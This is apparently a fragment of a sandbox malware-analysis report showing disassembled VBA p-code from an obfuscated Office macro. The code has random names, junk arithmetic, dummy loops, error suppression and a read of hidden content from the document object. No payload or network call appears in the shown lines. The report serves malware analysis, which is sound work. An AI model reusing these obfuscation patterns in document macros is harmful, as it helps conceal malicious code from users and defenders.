' 	Ld DczAq5 
' 	Eq 
' 	IfBlock 
' Line #33:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St Wm69b3GY 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	Ld FMmZVz 
' 	Ld HqnWHOa 
' 	Coerce (Date) 
' 	Mul 
' 	Ld iIvCUPv 
' 	Div 
' 	Ld YijMc0 
' 	Div 
' 	Ld klwNkJjW 
' 	Ld hLJSRW6v 
' 	Coerce (Str) 
' 	Div 
' 	LitDI2 0x0003 
' 	Div 
' 	Ld Cw93nTVZ 
' 	Coerce (Str) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St NhrfQVB 
' Line #36:
' 	StartForVariable 
' 	Ld MoNSjzVI 
' 	EndForVariable 
' 	Ld KqXhGk4L 
' 	ForEach 
' Line #37:
' 	Ld iQwKZAd_ 
' 	LitDI2 0x0006 
' 	LitDI4 0x9B98 0x0C54 
' 	LitDI2 0x0055 
' 	Coerce (Date) 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd ChrW 0x0001 
' 	Sub 
' 	LitDI2 0x1F36 
' 	Add 
' 	Ld odBwu5jX 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x1B41 
' 	Sub 
' 	Ld nCbKMvp 
' 	Sub 
' 	Ld qhkKZiv 
' 	Ld OWDHlC 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St OrFYw8 
' Line #38:
' 	StartForVariable 
' 	Next 
' Line #39:
' 	Ld Jf9MzZiO 
' 	Ld rn0oV8b 
' 	Eq 
' 	LoopUntil 
' Line #40:
' 	SetStmt 
' 	Ld JSnO_s 
' 	Ld ThisDocument 
' 	MemLd UrPSfM 
' 	ArgsLd jRPq_qOZ 0x0001 
' 	Add 
' 	Ld iC8_FNn_ 
' 	Add 
' 	ArgsLd SIwjPWKT 0x0001 
' 	Set SjsBhi 
' Line #41:
' 	OnError (Resume Next) 
' Line #42:
' 	SetStmt 
' 	Ld xqmm6672 
' 	Set mna 
' Line #43:
' 	Do 
' Line #44:
' 	Ld rOCromNf 
' 	Ld XBO0Aph 
' 	Eq 
' 	IfBlock 
' Line #45:
' 	LitDI2 0x0475 
' 	ArgsLd Tan 0x0001 
' 	St tm4tzf 
…

Open this report in the interactive analyzer, or submit your own file for analysis.